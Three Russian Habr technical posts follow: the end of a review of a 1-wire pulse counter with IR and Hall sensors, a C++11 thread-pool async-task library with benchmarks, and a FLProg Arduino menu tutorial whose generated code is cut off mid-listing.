Были протестированы резисторы 150 Ом и 270 Ом, с первым ток потребления составил от 5..11мкА / 6..15мкА (один и два датчика) при 150мс до 45..46мкА / 66..67мкА (один и два датчика) при 19мс, со вторым соответственно: от 4..7мкА / 5..10мкА до 26..27мкА / 40..41мкА. В обоих случаях можно было подобрать значения threshold для уверенного распознавания белого фона на расстоянии 1см, даже несмотря на то, что при сопротивлении 270 Ом диапазоны сигнала при работе от внешнего питания и от батарейки уже сильно отдалились друг от друга. Последнее говорит о том, что свет от светодиода уже очень сильно терял яркость при батарейном питании.
Таким образом можно рекомендовать подключение токоограничивающего резистора 150..200 Ом в цепи каждого светодиода, это без ущерба работоспособности снизит ток потребления.
Кроме TCRT5000 существуют и другие отражатели, например: KTIR0811S, QRD1114, которые устроены аналогично, имеют схожие электрические характеристики и отличаются только корпусом. Поэтому их также можно применять со счетчиком импульсов.
**Пример 5: датчик Холла SS49E**
По даташиту датчик работает от напряжения 2.7..6.5В, потребляет около 6мА, имеет время реакции 3мкс и на выходе сам создает напряжение, пропорциональное магнитному полю. Поэтому для питания датчика потребуется включить режим `pulse on, swap B & PWR`, оставить задержку перед замером на минимальном уровне 25мкс и отключить резистор подтяжки на счетном входе, т.к. в данном случае он не нужен.
Т.к. выход аналоговый, то потребуется подобрать и установить значения threshold. В случае, когда на датчик воздействует движущийся постоянный магнит, например, прикрепленный к колесу внутри БПУ, уровень сигнала с датчика будет меняться не скачкообразно, а плавно. Если есть возможность заставить колесо медленно вращаться и есть возможность остановить его в нужный момент, например, включая и выключая подачу газа, то для нахождения threshold нужно воспользоваться алгоритмом из примера для инфракрасного отражателя, принцип будет один и тот же.
При тестировании были получены следующие значения уровня сигнала с датчика: в отсутствие магнитного поля при питании от 1-wire - 119..120, при питании от батарейки - 113..131, при расположении одного полюса неодимового магнита на расстоянии 1см от датчика - 63..65 / 88..97 (при питании от 1-wire / от батарейки), при расположении другого полюса на расстоянии 1 см - 182..183 / 142..147.
Таким образом, threshold нужно подбирать между 97 и 113 или между 131 и 142 в том случае, если к датчику периодически приближается только один из полюсов, например, можно установить `threshold falling` = 102, `threshold rising` = 108 или `threshold falling` = 135, `threshold rising` = 138. Если же магнит поочередно поворачивается к датчику то одним, то другим полюсом, то можно установить `threshold falling` = 115, `threshold rising` = 130. Для последнего случая сигнал будет уверенно разделяться на два состояния, но для однополюсного варианта диапазон уже будет очень узким. Если для реального БПУ возникла такая ситуация, то лучше рассмотреть другой датчик Холла, расчитанный на меньшие магнитные поля.
Кроме аналоговых существуют и цифровые датчики Холла, отличие в том, что пороговые уровни и гистерезис зашиты в датчик производителем, датчик на выходе выдает уже преобразованный логический сигнал, а порог срабатывания можно изменить только подбором расстояния установки. Пример такого цифрового датчика Холла - TLE4906, он работает от напряжения 2.7..24В, потребляет 4мА, имеет время включения 15мкс и тип выхода открытый коллектор - с таким датчиком счетчик также будет прекрасно работать. Порог срабатывания TLE4906 составляет 8.5..10мТл = 85..100 Гс, для сравнения: при тестировании SS49E магнитное поле составляло около 700 Гс, а подбираемый threshold соответствовал примерно половине. Т.е. TLE4906 лучше подойдет для более слабых магнитных полей.
Ток потребления с одним датчиком SS49E от 5..7мкА при периодичности опроса 150мс до 22мкА при 19мс, при двух датчиках - от 5..9мкА до 37..38мкА соответственно. Грубо говоря, за счет импульсного режима питания счетчик снижает энергопотребление одного датчика с 6мА до 4..20мкА, это в 300 и более раз.
### Выводы
Счетчик импульсов смело можно охарактеризовать как "швейцарский нож" для задачи дистанционного съема показаний с бытовых приборов учета - он может снимать показания практически с любого БПУ. Счетчик работает и со всеми типами импульсных выходов БПУ, и с широким набором датчиков, позволяет питать датчики и при этом значительно снижать их среднее энергопотребление. Время автономной работы при использовании рассмотренных датчиков может составлять 1-5 лет. А при том, что заряд батарейки расходуется только при обрыве линии или выключении 1-wire адаптера, об этом можно вообще не беспокоиться, просто планово менять батарейку, например, раз в 5 лет. Кстати, батарейку можно поменять без потери настроек, если есть питание от 1-wire. Дистанционный мониторинг напряжения батарейки также предусмотрен.
К недостаткам можно отнести интерфейс 1-wire, аппаратной поддержки которого нет в микроконтроллерах, и уже тот факт, что это проводной интерфейс (актуально для любителей беспроводных решений). Также минусом для владельцев Raspberry Pi будет невсеядность счетчика по отношению к напряжению шины 1-wire - 3.3В ему не подойдет, поэтому потребуется преобразователь.
Еще к недостаткам можно отнести сложный алгоритм настройки аналоговых датчиков, но от этого никуда не деться - в альтернативном случае, при применении компараторов, пришлось бы выполнять настройку подстроечным резистором.
Применение счетчика не ограничивается только дистанционным съемом показаний с БПУ, его можно применить везде, где есть что посчитать, например, в метеостанции измерять скорость ветра или количество осадков, в СКУД количество проходов через турникет и т.п. | https://habr.com/ru/post/568314/ | null | ru | null |
# Асинхронные задачи в С++11
Доброго времени суток, хотел бы поделиться с сообществом своей небольшой библиотектой.
Я программирую на С/C++, и, к сожалению, в рабочих проектах не могу использовать стандарт C++11. Но вот пришли майские праздники, появилось свободное время и я решил поэкспериментировать и по-изучать этот запретный плод. Самое лучшее для изучения чего либо — это практика. Чтение статей о языке программирования научит максимум лучше читать, поэтому я решил написать маленькую библиотеку для асинхронного выполнения функций.
Сразу оговорюсь, что я знаю, что существует std::future, std::async и тп. Мне было интересно реализовать самому нечто подобное и окунуться в мир лямбда-функций, потоков и мьютексов с головой. Праздники — отличное время для велопрогулок.
##### Итак начнем
Я решил что моя библиотека будет функционировать следующим образом.
Существует некоторый пул, с фиксированным количеством потоков.
В него добавляются задачи, используя синтаксис лямбда функций.
Из самой задачи можно извлечь результат ее выполнения, или просто дождаться окончания ее работы.
Забегая вперед, выглядит это примерно так:
```
...
act::control control(N_THREADS);
auto some_task = act::make_task([](std::vector::const\_iterator begin, std::vector::const\_iterator end)
{
double sum = 0;
for (auto i = begin; i != end; ++i)
{
sum+=(\*i);
}
return sum;
}
, data.begin(), data.end());
control << some\_task;
cout << some\_task->get() << endl;
...
```
##### Класс задачи
Для начала необходимо создать класс, описывающий задачу:
```
template
class task
: public task
{
};
template
class task
{
protected:
const ClassType &m\_func;
std::tuple m\_vars;
ReturnType m\_return;
public:
task(const ClassType &v, Args... args): m\_func(v), m\_vars(args ...) {}
virtual ~task() {}
private:
};
```
Как известно, лямба функция раскрывается в класс-функтор с оператором operator().
Наш класс задачи шаблонный, его тип извлекается из типа оператора функтора &T::operator().
Класс хранит в себе указатель на функтор, аргументы функции в виде std::tuple и возвращаемое значение.
Итак теперь мы можем хранить в объекте лямбда-функцию с параметрами, теперь надо научиться ее вызывать.
Для этого необходимо вызвать opertator() у m\_func с параметрами, хранящимися в m\_vars.
С начала я не знал как это сделать, но усиленное использования гугла и переход по второй ссылке принесло результат:
```
template
struct seq { };
template
struct gens : gens { };
template
struct gens<0, S...> {
typedef seq type;
};
```
С помощью этой конструкции можно добавить в класс следующие функции:
```
...
public:
void invoke()
{
ReturnType r = caller(typename gens::type());
}
private:
template
ReturnType caller(seq) const
{
return m\_func(std::get~~(m\_vars) ...);
}
...~~
```
##### Базовый класс задачи
Теперь реализуем базовый класс задачи::
```
class abstract_task
{
protected:
mutable std::mutex m_mutex;
mutable std::condition_variable m_cond_var;
mutable bool m_complete;
public:
abstract_task(): m_complete(false) {}
virtual ~abstract_task() {}
virtual void invoke() = 0;
virtual void wait() const
{
std::unique_lock lock(m\_mutex);
while (!m\_complete)
{
m\_cond\_var.wait(lock);
}
}
};
```
Класс содержит в себе мьютекс и переменную состояния, сигнализирующую о завершении задачи. Соотвественно наш класс задачи притерпит некоторые изменения, которые я опущую, так как исходный код доступен на гитхабе.
##### Создание задач
Сделаем функцию-обертку для создания задач:
```
template
std::shared\_ptr> make\_task(T func, Args ... args )
{
return std::shared\_ptr>(new task(func, args ...));
}
```
Так как у нас класс виртуальный, логично использовать указатель и мы это сделаем, и не просто указатель, а умный указатель.
##### Класс управления
Теперь реализуем сущность для исполнения задач в фоновых потоках.
Приведу лишь часть кода:
```
...
class control
{
std::deque> m\_tasks;
std::vector m\_pool;
std::mutex m\_mutex;
std::condition\_variable m\_cond\_var;
std::condition\_variable m\_empty\_cond;
std::atomic m\_run;
std::vector m\_active;
public:
control(std::size\_t pool\_size = 2)
{
m\_run.store(true, std::memory\_order\_relaxed);
auto func = [this](int n)
{
while (m\_run.load(std::memory\_order\_relaxed))
{
std::unique\_lock lock(m\_mutex);
m\_active[n] = true;
if (m\_tasks.empty())
{
m\_empty\_cond.notify\_all();
m\_active[n] = false;
m\_cond\_var.wait(lock);
}
else
{
std::shared\_ptr t = m\_tasks.front();
m\_tasks.pop\_front();
lock.unlock();
t->invoke();
lock.lock();
m\_active[n] = false;
}
}
};
pool\_size = pool\_size > 0 ? pool\_size : 1;
m\_active.resize(pool\_size, false);
for(std::size\_t i = 0; i < pool\_size; ++i)
{
m\_pool.emplace\_back(func, i);
}
}
...
```
Для интереса, я использовал все фичерсы нового стандарта, применение которых я хоть как то мог обосновать.
Данный класс создает массив потоков и массив переменных состояния активности для мониторинга выполнения заданий дочерними потоками.
Главный цикл дочернего потока контролируется атомарной переменной (по идее достаточно было объявить ее volatile, так как тут нет состояния гонки, главный поток в нее только пишет, а дочерние только читают)
##### Производительность
Я бы не стал писать эту статью скорее всего, если бы не проведенный мной тест производительности данного решения по сравнению с std::async.
Конфигурация:
> Intel Core(TM) i7-2600 CPU @ 3.40GHz
>
> $gcc --version
>
> gcc (Debian 4.8.2-21) 4.8.2
>
>
Тест заключается в параллельном сложении массивов, а затем асинхронном сложении результатов всех сложений. Результатом операции будет:
> res = sum(array)\*N\_P
Числа указаны в миллисекундах.
###### Тест 1
Оптимизация выключена, количество элементов в массиве 100000000, количество порождаемых задач 73, Количество потоков в пуле 6
Результаты:
> test\_act 16775 OK
>
> test\_async **16028** OK
Производительность сравнима.
###### Тест 2
Оптимизация включена, количество элементов в массиве 100000000, количество порождаемых задач 73, Количество потоков в пуле 6
Результаты:
> test\_act **1597.6** OK
>
> test\_async 2530.5 OK
Моя реализация быстрее в полтора раза.
###### Тест 3
Оптимизация включена, количество элементов в массиве 100000000, количество порождаемых задач 73, Количество потоков в пуле 7
Результаты:
> test\_act **1313.1** OK
>
> test\_async 2503.7 OK
###### Тест 4
Оптимизация включена, количество элементов в массиве 100000000, количество порождаемых задач 73, Количество потоков в пуле 8
Результаты:
> test\_act **1402** OK
>
> test\_async 2492.2 OK
###### Тест 5
Оптимизация включена, количество элементов в массиве 100000000, количество порождаемых задач 173, Количество потоков в пуле 8
Результаты:
> test\_act **4435.7** OK
>
> test\_async 5789.4 OK
##### Выводы и баги
Данные результаты скорее всего связаны с тем, что async порождает для каждой задачи свой поток, в моей же реализации количество потоков фиксировано и накладные расходы на их создание отсутствуют.
Баг — захват переменных области видимости (через []) в лямбда функции вызывает SIGSEGV. Хотя передача их же через параметры работает прекрасно.
Не знаю насколько ли полезна данная статья и сама библиотека, но, по крайней мере, я применил некоторые возможности нового стандарта на своей практике.
[Исходный код](https://github.com/x0rb0t/acontrol) | https://habr.com/ru/post/222227/ | null | ru | null |
# Создание меню с помощью программы FLProg
Добрый день. В программе FLProg начиная с версии 2.1. появились блоки конструктора меню. В данном уроке будет рассмотрено создание меню с помощью данных блоков.
Для того что бы было интереснее рассмотрим реальную задачу. Соберём блок контроля температуры, в который будет входить датчик температуры, нагреватель и вентилятор. Кроме того включение вентилятора или нагревателя будет сопровождаться звуковым сигналом. С помощью меню будем настраивать пороги включения и выключения устройств и необходимость звукового сигнала. Для упрощения отладки датчик температуры для начала будем симулировать с помощью переменного резистора.
Первый вариант устройства будет состоять из:
Arduino Uno:
LCD Keypad Shield:
Двух релейных блоков:
И активного зуммера:
Вот принципиальная схема устройства
**Для начала целиком проект.**
Рассмотрим каждую плату по отдельности.
Здесь всё просто, получаем значение с аналогового входа и масштабируем в необходимый диапазон. Значение температуры будем изменять от -20 до 80. Настройки блока Scale.
На этой плате анализируется сигнал кнопок LCD Keypad Shield и формируются соответствующие сигналы. Анализ производится с помощью пользовательского блока 5Bin1. Создание данного блока рассматривается в этом [уроке](http://flprog.ru/video/vip/16/video_lessons/rabota_s_blokami_polzovatelja_v_programme_flprog_i_sozdanie_bloka_polzovatelja_na_jazyke_fbd), там же можно скачать этот блок.
Поскольку кнопок на шилде маловато, расширим возможности кнопки “Select”.
Данная схема работает следующим образом. При коротком нажатии на кнопку формируется импульс «Зайти в меню», при длительном (длительностью более уставки таймера TON), формируется импульс «Выйти из меню».
На этой плате формируется сигнал активации меню. Таймер TON необходим для защиты от случайного формирования этого сигнала при старте контроллера. Ну и непосредственно плата с основным блоком меню.
В описании блока меню (вкладка «Информация» редактора блока) я постарался максимально полно описать работу блока. Рассмотрим настойки блока в данном конкретном случае.
Вкладка – «Дерево меню»:
Дерево меню состоит из двух групп меню для настроек температур включения и выключения нагревателя и вентиляции, а так же одиночного пункта для управления активностью звука. Вообще данный блок позволяет строить меню любой сложности и вложенности. Главное что бы хватило памяти контроллера.
Настройка группового пункта меню.
Настройки пунктов настроек температуры.
Немного уточню по поводу стартового значения в EEPROM. Это значение запишется в EEPROM в начале первого цикла после загрузки программы в контроллер. Это произойдёт только один раз после каждой новой загрузки программы в контроллер. Остальные пункты меню связанные с температурой аналогичны этому.
Настройки пункта меню управления звуком:
Тексты для True и False будут выводится на выход ValStr при соответствующих значениях пунктов меню.
Закладка – «Управление меню»:
Тут вроде всё интуитивно понятно.
Закладка – «Управление значением»
В выбранном режиме изменений при кратковременном нажатии на кнопку изменения значения оно изменяется на величину заданного шага. Если удерживать данную кнопку более 2 секунд значение будет изменяться на величину заданного шага каждые полсекунды. Если продолжать удерживать кнопку ещё в течении 2 секунд период изменения значения уменьшится до 200 ms.
Закладка «Выхода»
Выход «Активно главное меню» необходимо для формирования сигнала «Активация меню». Последующие две платы практически одинаковы, и в особых объяснениях не нуждаются.
Обращу только внимание на входы CanValUp у блоков MenuValue. При высоком уровне на этом входе значение на выходе Q соответствует значению выбранного пункта меню. По заднему фронту на этом входе значение на выходе «замораживается» до появления на этом входе высокого уровня. Это необходимо для того, что бы значение не изменялось до окончании его редактирования (закрытия меню).
Оставшиеся платы так же просты и не нуждаются в пояснениях.
**Результат компиляции проекта**
```
#include
#include
LiquidCrystal \_lcd1(8, 9, 4, 5, 6, 7);
int \_dispTempLength1 = 0;
boolean \_isNeedClearDisp1;
struct UB\_142171746
{
bool ubo\_101667604 = 0;
bool ubo\_51674151 = 0;
bool ubo\_137412502 = 0;
bool ubo\_174461762 = 0;
bool ubo\_157422683 = 0;
int \_gtv1 = 0;
int \_gtv2 = 0;
int \_gtv3 = 0;
int \_gtv4 = 0;
int \_gtv5 = 0;
bool \_bounse1S = 0;
bool \_bounse1O = 0;
unsigned long \_bounse1P = 0UL;
bool \_bounse2S = 0;
bool \_bounse2O = 0;
unsigned long \_bounse2P = 0UL;
bool \_bounse3S = 0;
bool \_bounse3O = 0;
unsigned long \_bounse3P = 0UL;
bool \_bounse4S = 0;
bool \_bounse4O = 0;
unsigned long \_bounse4P = 0UL;
bool \_bounse5S = 0;
bool \_bounse5O = 0;
unsigned long \_bounse5P = 0UL;
};
UB\_142171746 UB\_142171746\_Instance1;
int UB\_142171746\_ubi\_125089190 = 0;
const byte \_menuParametrsArray[] PROGMEM = {1, 0, 0, 4, 5, 0, 0, 0, 0, 0, 6, 9, 0, 2, 0, 0, 6, 7, 0, 0, 0, 0, 0, 7, 9, 0, 3, 3, 1, 0, 0, 0, 10, 11, 1, 8, 3, 0, 0, 4, 4, 4, 0, 0, 1, 0, 0, 1, 4, 5, 0, 8, 5, 4, 3, 0, 0, 1, 0, 0, 1, 4, 4, 0, 8, 6, 4, 2, 0, 0, 2, 0, 0, 1, 4, 2, 0, 8, 7, 4, 1, 0, 0, 2, 0, 0, 1, 4, 1, 0, 8};
bool \_menuValueArray\_bool[1];
const bool \_menuConstantValuesArray\_bool[] PROGMEM = {1};
int \_menuValueArray\_int[4];
const int \_menuConstantValuesArray\_int[] PROGMEM = {1};
const char \_flprogMenuNameString1[] PROGMEM = "Vent-Off";
const char \_flprogMenuNameString2[] PROGMEM = "Vent-On";
const char \_flprogMenuNameString3[] PROGMEM = "Sound";
const char \_flprogMenuNameString4[] PROGMEM = "Heater-Off";
const char \_flprogMenuNameString5[] PROGMEM = "Heater-On";
const char \_flprogMenuNameString6[] PROGMEM = "HeaterSetting";
const char \_flprogMenuNameString7[] PROGMEM = "Vent Setting";
const char \_flprogMenuNameString8[] PROGMEM = "C";
const char \_flprogMenuNameString9[] PROGMEM = "Enter to submenu";
const char \_flprogMenuNameString10[] PROGMEM = "On";
const char \_flprogMenuNameString11[] PROGMEM = "Off";
const char\* const \_flprogMenuStringsArray[] PROGMEM = { \_flprogMenuNameString1, \_flprogMenuNameString2, \_flprogMenuNameString3, \_flprogMenuNameString4, \_flprogMenuNameString5, \_flprogMenuNameString6, \_flprogMenuNameString7, \_flprogMenuNameString8, \_flprogMenuNameString9, \_flprogMenuNameString10, \_flprogMenuNameString11};
struct \_menuItemStricture {
int startInArrayIndex;
};
struct \_menuMainStricture {
byte startIndex;
byte stopIndex;
bool isSwitchMenuAroundRing;
\_menuItemStricture currentItem;
};
\_menuItemStricture \_MenuItems[7];
\_menuMainStricture \_MainMenus[1];
bool \_gtv1;
bool \_gtv2;
bool \_gtv3;
bool \_gtv4;
bool \_gtv5;
bool \_gtv6;
bool \_gtv7;
bool \_gtv8;
bool \_gtv9;
bool \_gtv10 = 0;
float \_gtv11;
bool \_gtv12 = 0;
String \_swi2;
String \_swi1;
bool \_trgrt1 = 0;
bool \_trgrt1I = 0;
int \_disp1oldLength = 0;
bool \_trgrt2 = 0;
bool \_trgrt2I = 0;
int \_disp3oldLength = 0;
int Menu\_Value\_4\_TVD = 0;
bool \_trgrt3 = 0;
bool \_trgrt3I = 0;
int Menu\_Value\_2\_TVD = 0;
int \_disp4oldLength = 0;
bool \_trgr4 = 0;
bool \_trgr2 = 0;
bool \_trgr1 = 0;
bool \_trgr3 = 0;
String \_MenuBlock\_47814740\_ASO\_1;
String \_MenuBlock\_47814740\_MNO;
String \_MenuBlock\_47814740\_VNO;
bool \_MenuBlock\_47814740\_OEIS = 0;
bool \_MenuBlock\_47814740\_OMUIS = 0;
bool \_MenuBlock\_47814740\_OMDIS = 0;
bool \_MenuBlock\_47814740\_OEMIS = 0;
bool \_MenuBlock\_47814740\_OExFMIS = 0;
bool \_MenuBlock\_47814740\_OVUIS = 0;
bool \_MenuBlock\_47814740\_OVDIS = 0;
unsigned long \_MenuBlock\_47814740\_VUDST = 0UL;
unsigned long \_MenuBlock\_47814740\_VUDSPT = 0UL;
byte \_MenuBlock\_47814740\_VUDSM = 0;
int \_MenuBlock\_47814740\_VUDPT = 0;
bool \_MenuBlock\_47814740\_AMMO = 0;
bool \_tim2I = 0;
bool \_tim2O = 0;
unsigned long \_tim2P = 0UL;
bool \_tim3I = 0;
bool \_tim3O = 0;
unsigned long \_tim3P = 0UL;
bool \_tim1I = 0;
bool \_tim1O = 0;
unsigned long \_tim1P = 0UL;
int \_disp2oldLength = 0;
int Menu\_Value\_3\_TVD = 0;
int Menu\_Value\_1\_TVD = 0;
void setup()
{
if ((EEPROM.read(0)) != 98) {
EEPROM.write(0, 98) ;
EEPROM.updateInt(4, 40);
EEPROM.updateInt(2, 30);
EEPROM.updateBit(1, 0, 0);
EEPROM.updateInt(6, 25);
EEPROM.updateInt(8, 10);
}
pinMode(2, OUTPUT);
pinMode(3, OUTPUT);
pinMode(11, OUTPUT);
\_lcd1.begin(16, 2);
\_MenuItems[0].startInArrayIndex = 0;
\_MenuItems[1].startInArrayIndex = 13;
\_MenuItems[2].startInArrayIndex = 26;
\_MenuItems[3].startInArrayIndex = 39;
\_MenuItems[4].startInArrayIndex = 52;
\_MenuItems[5].startInArrayIndex = 65;
\_MenuItems[6].startInArrayIndex = 78;
\_MainMenus[0].startIndex = 1;
\_MainMenus[0].isSwitchMenuAroundRing = 1;
\_MainMenus[0].stopIndex = 3;
\_MainMenus[0].currentItem = \_MenuItems[0];
\_menuValueArray\_int[0] = (EEPROM.readInt(2));
\_menuValueArray\_int[1] = (EEPROM.readInt(4));
\_menuValueArray\_bool[0] = (EEPROM.readBit(1, 0));
\_menuValueArray\_int[2] = (EEPROM.readInt(6));
\_menuValueArray\_int[3] = (EEPROM.readInt(8));
}
void loop()
{ bool \_tempVariable\_bool;
byte \_tempVariable\_byte;
if (\_isNeedClearDisp1) {
\_lcd1.clear();
\_isNeedClearDisp1 = 0;
}
\_gtv11 = (map(( (analogRead (1))), (0), (1023), (-20), (80)));
UB\_142171746\_ubi\_125089190 = (analogRead (0));
UB\_142171746\_Instance1 = \_func\_UB\_142171746(UB\_142171746\_Instance1, UB\_142171746\_ubi\_125089190, 96, 250, 402, 635);
\_gtv3 = UB\_142171746\_Instance1.ubo\_101667604;
\_gtv4 = UB\_142171746\_Instance1.ubo\_51674151;
\_gtv5 = UB\_142171746\_Instance1.ubo\_137412502;
\_gtv2 = UB\_142171746\_Instance1.ubo\_174461762;
\_gtv1 = UB\_142171746\_Instance1.ubo\_157422683;
if (\_gtv1)
{
if (\_tim1I) {
if (\_isTimer(\_tim1P, 2000)) {
\_tim1O = 1;
}
} else {
\_tim1I = 1;
\_tim1P = millis();
}
} else {
\_tim1O = 0;
\_tim1I = 0;
}
if (\_tim2O) \_trgr2 = 0;
if (\_tim1O) \_trgr2 = 1;
if (\_trgr2) {
if (\_trgrt3I) {
\_trgrt3 = 0;
} else {
\_trgrt3 = 1;
\_trgrt3I = 1;
}
} else {
\_trgrt3 = 0;
\_trgrt3I = 0;
};
if (\_trgrt1) {
\_tim2O = 1;
\_tim2I = 1;
} else {
if (\_tim2I) {
\_tim2I = 0;
\_tim2P = millis();
} else {
if (\_tim2O) {
if ( \_isTimer(\_tim2P, 200)) \_tim2O = 0;
}
}
}
if (!(\_gtv1)) {
if (\_trgrt1I) {
\_trgrt1 = 0;
} else {
\_trgrt1 = 1;
\_trgrt1I = 1;
}
} else {
\_trgrt1 = 0;
\_trgrt1I = 0;
};
\_gtv8 = \_trgrt3;
\_gtv7 = ( (!(\_trgr2)) && (\_trgrt1) );
if (1)
{
if (\_tim3I) {
if (\_isTimer(\_tim3P, 200)) {
\_tim3O = 1;
}
} else {
\_tim3I = 1;
\_tim3P = millis();
}
} else {
\_tim3O = 0;
\_tim3I = 0;
}
if (!(\_gtv7)) {
if (\_trgrt2I) {
\_trgrt2 = 0;
} else {
\_trgrt2 = 1;
\_trgrt2I = 1;
}
} else {
\_trgrt2 = 0;
\_trgrt2I = 0;
};
if (( (\_gtv9) && (\_gtv8) )) \_trgr1 = 0;
if (( (\_tim3O) && (\_trgrt2) )) \_trgr1 = 1;
\_gtv6 = \_trgr1;
if (\_gtv6) {
\_tempVariable\_bool = 1;
if ( ! \_MenuBlock\_47814740\_OEIS ) {
\_MenuBlock\_47814740\_OEIS = 1;
\_MainMenus[0].currentItem = \_MenuItems[0];
}
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[0].currentItem ).startInArrayIndex) + 10]);
\_MenuBlock\_47814740\_MNO = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
\_MenuBlock\_47814740\_VNO = \_menuOutputValueString (0);
\_MenuBlock\_47814740\_AMMO = (pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[0].currentItem ).startInArrayIndex) + 5]) ) == 0;
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[0]).currentItem).startInArrayIndex) + 12]);
if (\_tempVariable\_byte == 0 ) {
\_MenuBlock\_47814740\_ASO\_1 = "";
} else {
\_MenuBlock\_47814740\_ASO\_1 = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
}
} else {
\_tempVariable\_bool = 0;
if (\_MenuBlock\_47814740\_OEIS) {
\_MenuBlock\_47814740\_OEIS = 0;
\_menuUpdateToEEpromItems();
}
\_MenuBlock\_47814740\_AMMO = 0;
\_MenuBlock\_47814740\_ASO\_1 = "";
\_MenuBlock\_47814740\_MNO = "";
\_MenuBlock\_47814740\_VNO = "";
}
if (\_gtv4) {
if ( ! \_MenuBlock\_47814740\_OMUIS) {
\_MenuBlock\_47814740\_OMUIS = 1; if (\_tempVariable\_bool) {
\_menuUpEvents(0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OMUIS = 0;
}
if (\_gtv5) {
if ( ! \_MenuBlock\_47814740\_OMDIS) {
\_MenuBlock\_47814740\_OMDIS = 1; if (\_tempVariable\_bool) {
\_menuDownEvents(0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OMDIS = 0;
}
if (( (\_gtv7) && (\_gtv6) )) {
if ( ! \_MenuBlock\_47814740\_OEMIS) {
\_MenuBlock\_47814740\_OEMIS = 1; if (\_tempVariable\_bool) {
\_menuEnterTheMenuEvents (0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OEMIS = 0;
}
if (\_gtv8) {
if ( ! \_MenuBlock\_47814740\_OExFMIS) {
\_MenuBlock\_47814740\_OExFMIS = 1; if (\_tempVariable\_bool) {
\_menuExitFromMenuEvents (0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OExFMIS = 0;
}
if (\_gtv3) {
if ( ! \_MenuBlock\_47814740\_OVUIS) {
\_MenuBlock\_47814740\_OVUIS = 1;
if (\_tempVariable\_bool) {
\_valueUpEvents(0);
\_MenuBlock\_47814740\_VUDST = millis();
}
} if (\_tempVariable\_bool) {
if (\_MenuBlock\_47814740\_VUDSM == 0) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 2000 )) {
\_MenuBlock\_47814740\_VUDSM = 1;
\_MenuBlock\_47814740\_VUDSPT = millis();
\_MenuBlock\_47814740\_VUDPT = 500;
}
} else {
if (\_MenuBlock\_47814740\_VUDSM == 1) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 4000 )) {
\_MenuBlock\_47814740\_VUDSM = 2;
\_MenuBlock\_47814740\_VUDPT = 200;
}
} if (\_isTimer(\_MenuBlock\_47814740\_VUDSPT , \_MenuBlock\_47814740\_VUDPT )) {
\_valueUpEvents(0);
\_MenuBlock\_47814740\_VUDSPT = millis();
}
}
}
} else {
\_MenuBlock\_47814740\_OVUIS = 0;
if ( ! ( \_gtv2)) {
\_MenuBlock\_47814740\_VUDSM = 0;
}
}
if (\_gtv2) {
if ( ! \_MenuBlock\_47814740\_OVDIS) {
\_MenuBlock\_47814740\_OVDIS = 1;
if (\_tempVariable\_bool) {
\_valueDownEvents(0);
\_MenuBlock\_47814740\_VUDST = millis();
}
} if (\_tempVariable\_bool) {
if (\_MenuBlock\_47814740\_VUDSM == 0) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 2000 )) {
\_MenuBlock\_47814740\_VUDSM = 1;
\_MenuBlock\_47814740\_VUDSPT = millis();
\_MenuBlock\_47814740\_VUDPT = 500;
}
} else {
if (\_MenuBlock\_47814740\_VUDSM == 1) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 4000 )) {
\_MenuBlock\_47814740\_VUDSM = 2;
\_MenuBlock\_47814740\_VUDPT = 200;
}
} if (\_isTimer(\_MenuBlock\_47814740\_VUDSPT , \_MenuBlock\_47814740\_VUDPT )) {
\_valueDownEvents(0);
\_MenuBlock\_47814740\_VUDSPT = millis();
}
}
}
} else {
\_MenuBlock\_47814740\_OVDIS = 0;
if ( ! ( \_gtv3)) {
\_MenuBlock\_47814740\_VUDSM = 0;
}
}
if (\_gtv6) {
\_dispTempLength1 = ((\_MenuBlock\_47814740\_MNO)).length();
if (\_disp2oldLength > \_dispTempLength1) {
\_isNeedClearDisp1 = 1;
}
\_disp2oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((16 - \_dispTempLength1) / 2), 0);
\_lcd1.print((\_MenuBlock\_47814740\_MNO));
} else {
if (\_disp2oldLength > 0) {
\_isNeedClearDisp1 = 1;
\_disp2oldLength = 0;
}
}
if (\_gtv6) {
\_dispTempLength1 = ((((\_MenuBlock\_47814740\_VNO) + (String(" ")) + (\_MenuBlock\_47814740\_ASO\_1)))).length();
if (\_disp1oldLength > \_dispTempLength1) {
\_isNeedClearDisp1 = 1;
}
\_disp1oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((16 - \_dispTempLength1) / 2), 1);
\_lcd1.print((((\_MenuBlock\_47814740\_VNO) + (String(" ")) + (\_MenuBlock\_47814740\_ASO\_1))));
} else {
if (\_disp1oldLength > 0) {
\_isNeedClearDisp1 = 1;
\_disp1oldLength = 0;
}
}
\_gtv9 = \_MenuBlock\_47814740\_AMMO;
if ((\_gtv11) > (Menu\_Value\_2\_TVD)) \_trgr3 = 0;
if ((\_gtv11) < (Menu\_Value\_1\_TVD)) \_trgr3 = 1;
digitalWrite(2, !(\_trgr3));
if (!(\_gtv6)) {
Menu\_Value\_1\_TVD = \_menuValueArray\_int[3];
}
\_gtv10 = \_trgr3;
if (!(\_gtv6)) {
Menu\_Value\_2\_TVD = \_menuValueArray\_int[2];
}
if ((\_gtv11) < (Menu\_Value\_4\_TVD)) \_trgr4 = 0;
if ((\_gtv11) > (Menu\_Value\_3\_TVD)) \_trgr4 = 1;
if (!(\_gtv6)) {
Menu\_Value\_3\_TVD = \_menuValueArray\_int[1];
}
digitalWrite(3, !(\_trgr4));
\_gtv12 = \_trgr4;
if (!(\_gtv6)) {
Menu\_Value\_4\_TVD = \_menuValueArray\_int[0];
}
